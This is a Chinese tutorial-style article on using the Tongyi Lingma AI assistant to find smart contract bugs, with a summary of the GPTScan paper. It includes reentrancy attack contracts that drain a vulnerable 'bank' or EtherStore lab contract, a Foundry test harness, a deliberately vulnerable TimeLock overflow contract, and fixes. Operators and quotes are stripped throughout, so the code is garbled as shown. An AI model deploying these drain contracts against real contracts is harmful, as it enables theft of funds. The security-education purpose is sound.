万网怎么创建网站,简历模板免费下载word格式,网站建设解决方案好处,用pycharm做网站前言
随着区块链技术的快速发展#xff0c;智能合约作为去中心化应用#xff08;DApps#xff09;的核心组件#xff0c;其重要性日益凸显。然而#xff0c;智能合约的安全问题一直是制约区块链技术广泛应用的关键因素之一。由于智能合约代码一旦部署就难以更改#xf…前言
随着区块链技术的快速发展智能合约作为去中心化应用DApps的核心组件其重要性日益凸显。然而智能合约的安全问题一直是制约区块链技术广泛应用的关键因素之一。由于智能合约代码一旦部署就难以更改任何设计或实现上的漏洞都可能导致严重的后果例如资金被盗、服务中断等。
除此之外智能合约的漏洞类型与传统软件也不同并不存在内存安全或者任意代码执行等问题。根据已有研究智能合约中约80%的漏洞是无法使用机器检测的Machine Undetectable Bugs。这些漏洞大多与业务逻辑相关而传统的分析方法并不考虑业务逻辑因此无法检测出这些漏洞。
常见智能合约漏洞检测
重入攻击
重入攻击的存在源于Solidity智能合约的执行机制每一行代码必须在下一行代码开始执行之前完成。这意味着当一个合约对外部合约进行调用时原合约的执行会暂停直到外部调用返回。这种机制使得被调用的合约在一段时间内能够完全控制合约的状态从而可能引发无限循环的风险。
例如在重入攻击中恶意合约可以在外部调用尚未完成时递归地回调原合约以连续提取资源。这种情况下原合约在完成其功能之前不应更新自己的余额或其他关键状态变量。重入攻击的形式多样包括但不限于单功能重入、跨功能重入、跨合约重入以及只读重入攻击。这些攻击方式利用了合约在执行外部调用期间的脆弱性导致合约资金或其他资源被非法获取。
预言机操纵
智能合约依赖于预言机oracle来获取区块链外部的数据从而能够与链下系统如股票市场、汇率等进行交互。然而如果预言机提供的数据不准确或被恶意操纵就可能导致智能合约错误执行这就是所谓的“预言机问题”。这种情况已经成为了许多去中心化金融DeFi应用程序中的常见安全威胁其中最常见的攻击手法之一便是闪电贷款攻击。
闪电贷款是一种特殊的无抵押贷款形式允许借款人在同一笔交易中借入大量资金并要求在该交易结束前偿还。由于整个过程在一个区块内完成如果借款人未能按时偿还则交易自动回滚不会对区块链状态造成影响。攻击者利用闪电贷款来迅速借入大量资金通过一系列快速交易人为扭曲资产价格从中牟取利润同时确保所有操作都在区块链规则允许的范围内进行。
这种攻击手法不仅影响市场的公平性还可能导致智能合约出现非预期的行为进而给用户带来损失。
整数溢出和下溢
整数溢出和下溢是智能合约开发中常见的安全风险之一尤其是在进行数值运算时尤为突出。这些漏洞往往发生在数值运算的结果超过了整数类型所能表示的最大或最小值的情况下。
整数溢出 发生在当两个正整数相加的结果超出了该整数类型的上限时。例如在以太坊智能合约常用的编程语言 Solidity 中uint256 类型可以存储从 0 到 2^256 - 1 的无符号整数。如果两个 uint256 变量相加后超过了这个最大值那么实际结果将从该类型的最大值回绕到零并继续向上计数这种现象就称为溢出。在涉及到货币或积分等价值度量的情况下这种错误可能导致严重的后果比如资金被盗或者合约中的资产被不当转移。
整数下溢 是指当一个较大的正整数减去一个更大的正整数时结果将超出该类型的最小值通常为零对于无符号整数而言。在 Solidity 中uint256 类型的变量无法表示负数因此任何导致此类变量小于零的操作都会引发异常并终止交易。但对于有符号整数类型如 int256则可能会出现从最小负值直接跳转到最大正值的情况即下溢。
时间戳依赖性
时间戳依赖性是智能合约中常见的安全漏洞尤其是在合约逻辑需要依赖于时间信息时。区块时间戳是由矿工设定的用来表示区块创建的时间点。然而矿工可以有一定的自由度来调整时间戳这就会导致合约中的时间相关逻辑变得不可预测。
当智能合约依赖于区块时间戳来进行某些操作如判断竞拍结束时间、合约到期日期或是触发特定事件时矿工可以通过调整时间戳来影响合约的行为。例如假设一个竞拍合约使用时间戳来确定竞拍结束的时间矿工可以通过提前时间戳来使竞拍提前结束或者延迟时间戳来延长竞拍期从而影响竞拍结果。
此外由于区块时间戳并不是一个精确的时间度量工具它可能受到网络延迟、矿工的主观选择等因素的影响导致合约中的时间敏感操作出现异常。例如合约可能预期在一个确切的时间点执行某项操作但由于时间戳的波动实际执行时间可能会有所不同从而导致合约状态或行为不符合预期。
利用通义灵码辅助检测及利用重入漏洞
本部分参考了南洋理工大学的论文《When GPT Meets Program Analysis: Towards Intelligent Detection of Smart Contract Logic Vulnerabilities in GPTScan》学习借鉴了该论文中的prompt及部分规则设计。
重入漏洞的关键点之一是存在外部调用函数就是如下所示的msg.sender.call转账以及转账的顺序——先更新余额还是先进行转账
首先我们利用普通状态下的通义灵码测试对智能合约代码进行漏洞检测
放入一段具有很明显重入攻击特征的代码
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0 0.9.0;contract Bank {mapping (address uint) public balances; // 账户 余额// 存钱函数function desposit() public payable { require(msg.value 0, save money cannot be zero);balances[msg.sender] msg.value;}// 取钱函数function withdraw() public{require(balances[msg.sender] 0,balance is not exists);(bool success,) msg.sender.call{value:balances[msg.sender]}(); // 递归下面的操作必须等待递归之后才能执行balances[msg.sender] 0; // 置0 操作}// 查看账户余额function getBalance() public view returns(uint){return balances[msg.sender];}}contract Attack {Bank public bank;constructor( address _bankAddress){bank Bank(_bankAddress);}// 攻击函数function attack() public payable {bank.desposit{value:msg.value}();bank.withdraw();}receive() external payable {if(address(bank).balance 0){ //如果银行合约还有钱持续调用bank.withdraw();}}
}这段代码包含两个合约Bank 和 Attack。Bank 合约允许用户存入和提取以太币并能够查询账户余额。Attack 合约则用于与 Bank 合约交互通过存款和提取操作实现资金的转移。
依然像前两篇文章那样全选代码告知让灵码进行漏洞检测 已知该部分代码存在漏洞请帮忙进行检测 此时可以发现灵码能够识别出基本的重入攻击并且进行了基础的拼写检查、冗余检查、潜在的安全风险检查 可以看到灵码提出了一种修复方式
函数的执行会消耗gas如果可支付gas不满足递归消耗的gas从而报错进行合约状态回滚。在灵码中给出的 transfer 或 send 方法 都是可以有效防止重入的 transfer()发送失败则回滚交易状态只传递 2300 Gas 供调用防止重入。 send()发送失败则返回 false只传递 2300 Gas 供调用防止重入。 call()发送失败返回 false会传递所有可用 Gas 给予外部合约 fallback() 调用可通过 { value: money } 限制 Gas不能有效防止重入。
但是显然对照人工审计结果除了上述之外还有更好的方式来进一步强化这段代码的安全性所以为了验证灵码是否具备针对重入漏洞的高级优化能力我没有告知而是直接让其进行优化操作 我想进一步提高该部分代码的安全性请你帮忙进行优化 不负众望灵码确实也是给出了另一种比较好的解决方法 先账户置0就算转账触发递归再次取钱 ,由于账户余额小于0会直接抛异常。当攻击这利用Attack合约攻击已修复好Bank合约按道理能触发递归接着会报 “balance is not exists”,但是他却能正常执行但是重入没触发钱存到Bank里没有拿回来。
除了上述两种还可以通过添加互斥锁来实现第一去取钱状态变量修改为true从而将函数锁住必须等这次函数执行完毕才能重新对函数进行调用这块虽然灵码暂时没有提到但是后面在我引导下还是成功指出了这种方法
总的来说效果还是很不错的下面我们以实际的靶场为例尝试采用通义灵码来检测和利用重入漏洞
靶场描述如下 EtherStore 的重入漏洞是指智能合约设计中的一个缺陷该缺陷允许攻击者利用重入特性从 EtherStore 合约中提取比他们有权获得的更多的资金。此漏洞源于 EtherStore 合约中的 withdrawFunds 函数在更新账户余额之前会先将以太币转移到攻击者的地址。这使得攻击者的合约可以在余额更新之前回调 withdrawFunds 函数导致多次提款并有可能耗尽 EtherStore 合约中的所有以太币。 EtherStore 是一个简单的金库它可以管理每个人的以太币。但它存在漏洞你能窃取所有的以太币吗 给出的EtherStore部分代码如下
contract EtherStore {mapping(address uint256) public balances;function deposit() public payable {balances[msg.sender] msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] _weiToWithdraw);(bool send, ) msg.sender.call{value: _weiToWithdraw}();require(send, send failed);// check if after send still enough to avoid underflowif (balances[msg.sender] _weiToWithdraw) {balances[msg.sender] - _weiToWithdraw;}}
}结合我上面的示例代码相信可以显而易见的看出此处就是存在重入漏洞的我们让灵码帮忙给出一个攻击合约和一个测试合约其中攻击合约能够使用**msg.sender.call{value: _weiToWithdraw}(“”)**来进行多次转入测试合约能够验证攻击是否成功。 已知EtherStore合约如下请你给出EtherStoreAttack攻击合约帮助有效验证EtherStore合约中的漏洞。 给出的完整攻击合约如下
pragma solidity ^0.8.0;interface IEtherStore {function deposit() external payable;function withdrawFunds(uint256 _weiToWithdraw) external;
}contract EtherStoreAttack {IEtherStore public etherStore;constructor(address _etherStoreAddress) {etherStore IEtherStore(_etherStoreAddress);}// Fallback function is called when EtherStore sends Ether to this contractreceive() external payable {if (address(etherStore).balance 1 ether) {// Re-enter the withdrawFunds functionetherStore.withdrawFunds(1 ether);}}// Function to deposit funds into EtherStorefunction attack() external payable {require(msg.value 1 ether, Need at least 1 ether to attack);etherStore.deposit{value: msg.value}();etherStore.withdrawFunds(1 ether);}// Helper function to withdraw all Ether from this contractfunction withdrawAll() external {selfdestruct(payable(msg.sender));}// Helper function to check the balance of this contractfunction getBalance() external view returns (uint256) {return address(this).balance;}
}
我们对比原版给出的攻击合约发现还是有一些差异的原版中增加了很多详细的日志输出比较友好 下面进入到remix中进行编译并尝试分析攻击步骤大致步骤如下 攻击者将以太币存入银行合约 银行合约就会根据存入的以太币而更新攻击者的余额 攻击者提现拿回资金 资金转移到攻击者的合约上 此时攻击者的回调函数fallback或者receive被触发函数调用提现方法 智能合约的逻辑里提现方法又被调用 资金发送到攻击者 第5-7步不断重复不会触发更新用户余额直到触发gas限制或银行合约里的ETH余额为0 最后才更新余额
尝试复现一开始假设合约原本有50个ETH 根据刚才的攻击合约调用deposit转入1ETH攻击合约有1ETH 调用attack设置这个gas为超大使其能够尽可能的发起最多次的重入。ETH全部被攻击者重入获取 实际上共消耗了这么多的gas fee 483672467408 调用attack.withdraw将ETH转到攻击者的钱包中攻击者的钱包余额增加。 这里我们还是回到foundary中来测试漏洞验证脚本还是采用的官方的sol文件
pragma solidity ^0.8.18;
import forge-std/Test.sol;
contract EtherStore {mapping(address uint256) public balances;function deposit() public payable {balances[msg.sender] msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] _weiToWithdraw);(bool send, ) msg.sender.call{value: _weiToWithdraw}();require(send, send failed);// check if after send still enough to avoid underflowif (balances[msg.sender] _weiToWithdraw) {balances[msg.sender] - _weiToWithdraw;}}
}contract EtherStoreRemediated {mapping(address uint256) public balances;bool internal locked;modifier nonReentrant() {require(!locked, No re-entrancy);locked true;_;locked false;}function deposit() public payable {balances[msg.sender] msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public nonReentrant {require(balances[msg.sender] _weiToWithdraw);balances[msg.sender] - _weiToWithdraw;(bool send, ) msg.sender.call{value: _weiToWithdraw}();require(send, send failed);}
}contract ContractTest is Test {EtherStore store;EtherStoreRemediated storeRemediated;EtherStoreAttack attack;EtherStoreAttack attackRemediated;function setUp() public {store new EtherStore();storeRemediated new EtherStoreRemediated();attack new EtherStoreAttack(address(store));attackRemediated new EtherStoreAttack(address(storeRemediated));vm.deal(address(store), 5 ether);vm.deal(address(storeRemediated), 5 ether);vm.deal(address(attack), 2 ether);vm.deal(address(attackRemediated), 2 ether);}function testReentrancy() public {attack.Attack();}function testFailRemediated() public {attackRemediated.Attack();}
}contract EtherStoreAttack is Test {EtherStore store;constructor(address _store) {store EtherStore(_store);}function Attack() public {console.log(EtherStore balance, address(store).balance);store.deposit{value: 1 ether}();console.log(Deposited 1 Ether, EtherStore balance,address(store).balance);store.withdrawFunds(1 ether); // exploit hereconsole.log(Attack contract balance, address(this).balance);console.log(EtherStore balance, address(store).balance);}// fallback() external payable {}// we want to use fallback function to exploit reentrancyreceive() external payable {console.log(Attack contract balance, address(this).balance);console.log(EtherStore balance, address(store).balance);if (address(store).balance 1 ether) {store.withdrawFunds(1 ether); // exploit here}}
}
具体解析如下
EtherStore 合约
contract EtherStore {mapping(address uint256) public balances;function deposit() public payable {balances[msg.sender] msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] _weiToWithdraw);(bool send, ) msg.sender.call{value: _weiToWithdraw}();require(send, send failed);// check if after send still enough to avoid underflowif (balances[msg.sender] _weiToWithdraw) {balances[msg.sender] - _weiToWithdraw;}}
}balances一个映射存储每个地址的余额。 deposit允许用户存入以太币增加其余额。 withdrawFunds允许用户提取以太币。问题在于转账操作在更新余额之前执行这使得攻击者可以通过回调函数如 receive重新进入 withdrawFunds 方法从而多次提取资金。
EtherStoreRemediated 合约
contract EtherStoreRemediated {mapping(address uint256) public balances;bool internal locked;modifier nonReentrant() {require(!locked, No re-entrancy);locked true;_;locked false;}function deposit() public payable {balances[msg.sender] msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public nonReentrant {require(balances[msg.sender] _weiToWithdraw);balances[msg.sender] - _weiToWithdraw;(bool send, ) msg.sender.call{value: _weiToWithdraw}();require(send, send failed);}
}balances一个映射存储每个地址的余额。 locked一个布尔变量用于防止重入攻击。 nonReentrant一个修饰器确保函数在执行期间不会被重入。 deposit允许用户存入以太币增加其余额。 withdrawFunds允许用户提取以太币。使用 nonReentrant 修饰器确保在转账操作前更新余额防止重入攻击。
ContractTest 测试合约
contract ContractTest is Test {EtherStore store;EtherStoreRemediated storeRemediated;EtherStoreAttack attack;EtherStoreAttack attackRemediated;function setUp() public {store new EtherStore();storeRemediated new EtherStoreRemediated();attack new EtherStoreAttack(address(store));attackRemediated new EtherStoreAttack(address(storeRemediated));vm.deal(address(store), 5 ether);vm.deal(address(storeRemediated), 5 ether);vm.deal(address(attack), 2 ether);vm.deal(address(attackRemediated), 2 ether);}function testReentrancy() public {attack.Attack();}function testFailRemediated() public {attackRemediated.Attack();}
} setUp初始化合约实例并给它们分配一些以太币。 testReentrancy调用攻击合约的 Attack 方法验证 EtherStore 合约是否容易受到重入攻击。 testFailRemediated调用攻击合约的 Attack 方法验证 EtherStoreRemediated 合约是否能够防止重入攻击。
EtherStoreAttack 攻击合约
contract EtherStoreAttack is Test {EtherStore store;constructor(address _store) {store EtherStore(_store);}function Attack() public {console.log(EtherStore balance, address(store).balance);store.deposit{value: 1 ether}();console.log(Deposited 1 Ether, EtherStore balance,address(store).balance);store.withdrawFunds(1 ether); // exploit hereconsole.log(Attack contract balance, address(this).balance);console.log(EtherStore balance, address(store).balance);}// fallback() external payable {}// we want to use fallback function to exploit reentrancyreceive() external payable {console.log(Attack contract balance, address(this).balance);console.log(EtherStore balance, address(store).balance);if (address(store).balance 1 ether) {store.withdrawFunds(1 ether); // exploit here}}
}store存储 EtherStore 合约的地址。 Attack攻击函数首先存入 1 以太币然后调用 withdrawFunds 方法进行重入攻击。 receive回调函数当 EtherStore 合约向攻击合约发送以太币时触发。如果 EtherStore 合约的余额大于等于 1 以太币再次调用 withdrawFunds 方法进行重入攻击。
利用通义灵码辅助检测溢出漏洞
溢出漏洞是每个在接触合约安全最先接触到的漏洞没有之一同时也是最简单的漏洞。溢出分为上溢和下溢并且该漏洞在solidity8.0引入了检查基本消失为什么是基本消失呢因为还有极少场景还是能溢出后面的漏洞会提到。
该漏洞的溢出问题是存在用户可自定义增加锁仓时间可让时间进行溢出使其能够提前取出存放的ETH。
我们提供一段代码给灵码进行漏洞检测
pragma solidity ^0.8.18;/*** title TimeLock* dev 这是一个时间锁合约用于锁定用户的 ETH 并在指定时间后解锁。*/
contract TimeLock {// 存储每个地址的余额mapping(address uint) public balances;// 存储每个地址的锁定期限mapping(address uint) public lockTime;/*** dev 存款函数接受 ETH 并锁定 1 周。*/function deposit() external payable {require(msg.value 0, Deposit value must be greater than 0);balances[msg.sender] msg.value;lockTime[msg.sender] block.timestamp 1 weeks; // 锁定时间为当前区块时间加上 1 周}/*** dev 允许用户增加自己的锁定期限。* param _secondsToIncrease 要增加的秒数。* dev 注意此函数存在潜在的安全风险因为用户可以无限增加锁定期限。*/function increaseLockTime(uint _secondsToIncrease) public {lockTime[msg.sender] _secondsToIncrease; // 增加锁定期限}/*** dev 取款函数允许用户在锁定期限过后提取 ETH。*/function withdraw() public {require(balances[msg.sender] 0, Insufficient funds); // 检查余额是否大于 0require(block.timestamp lockTime[msg.sender], Lock time not expired); // 检查锁定期限是否已过uint amount balances[msg.sender]; // 获取用户的余额balances[msg.sender] 0; // 将余额设置为 0表示钱已取出(bool sent, ) msg.sender.call{value: amount}(); // 使用 call 方法发送 ETHrequire(sent, Failed to send Ether); // 确保 ETH 发送成功}
}
给出prompt 已知该部分代码存在漏洞请帮忙进行检测 可以看到对于关键函数漏洞的识别还是很准确的下面我们回到论文中去尝试解读一下它的总体逻辑看看有没有办法将这套逻辑沿用到灵码上
论文部分
论文地址为https://arxiv.org/pdf/2308.03314
在论文中有提到类似于价格操纵的漏洞 在上面这个例子中从代码层面来看其实是不存在漏洞的但是在业务逻辑层面却存在一些漏洞点第18-21行的get Price()函数使用余额的比例来计算价格但金额很可能是容易被操纵的(例如flashloan)从而价格也很容易被操纵
那么未经调教的灵码能否识别到这个呢我们来尝试一下 通过上述可以看到灵码能够较好的识别到隐藏的逻辑漏洞并且给出一些修复建议毕竟距离这篇论文撰写完成时间已经过去了一年多了这期间大模型的进步还是太快了
进行了一些基础的测试和分析后下面我们还是回到论文中去看看他们提出的工作流 上图主要表明了GPTScan的高级工作流蓝色块表示大模型提供的能力绿色块表示静态分析。当给定一个智能合约项目它可以是一个独立的Solidity文件或包含多个Solidity文件的基于框架的合约项目GPTScan首先进行合约解析调用图分析确定函数可达性综合过滤提取候选函数及其对应的上下文函数。然后利用GPT将候选函数与预先抽象的场景和相关漏洞类型的属性进行匹配。对于匹配的函数GPTScan通过GPT进一步识别其关键变量和语句随后将其传递给专门的静态分析模块以确认漏洞。 GPTScan采用了一种不同的方法将漏洞类型分解为代码级的场景和属性。具体地它使用场景描述逻辑漏洞可能发生的代码功能使用属性来解释易受攻击的代码属性或操作。上图展示了如何将10种常见的逻辑漏洞类型分解为场景和属性。这些漏洞类型是从最近的一项研究中选择的关于需要高级语义oracle的智能合约漏洞。 这里是一个比较关键的prompt模板主要内容是 系统你是一个智能合约审计员。你会被问到与代码属性相关的问题。你可以在后台模拟回答五次然后给我提供出现频率最高的答案。此外请严格遵守问题中指定的输出格式无需解释你的答案。 情景匹配根据下面的智能合约代码回答下面的问题并以JSON格式组织结果如 {“1”:“是或否”“2”:“是或者否”} “1”:[%场景_1%]? “2”:[%场景_2%]? [%代码%] 属性匹配:下列智能合约是否[%场景属性(漏洞成因)%]“?仅回答是或否” [%代码%] 此处也有几个关键点需要注意 通过prompt的设计多获得结构化的输出 匹配scenario时使用多项选择来快速匹配多个可能的选项 匹配property时每个单独匹配来减少其他选项带来的干扰
第二个关键的prompt模板如下 这边主要是通过prompt的设计获得结构化的输出针对每一项输出的描述查找对应的变量/表达式
总结
通过本次测试来看利用灵码技术在智能合约漏洞检测方面确实能够发挥一些作用。对比论文中采用GPT3.5制作的GPTScan工具实验结果表明在使用灵码的前提下即便没有增加对应的前置提示prompt系统也能够成功识别到隐藏的逻辑漏洞而且这种检测方法可能具有更高的准确率和更低的误报率因为它直接针对代码的行为模式进行分析。
而结合靶场看利用灵码进行攻击合约或者说EXP编写时还是有很多不足之处在生成具体的攻击向量时其有效性和效率可能会受到限制再加上对于漏洞的具体机制无法准确理解所以才导致了最终利用脚本存在缺陷。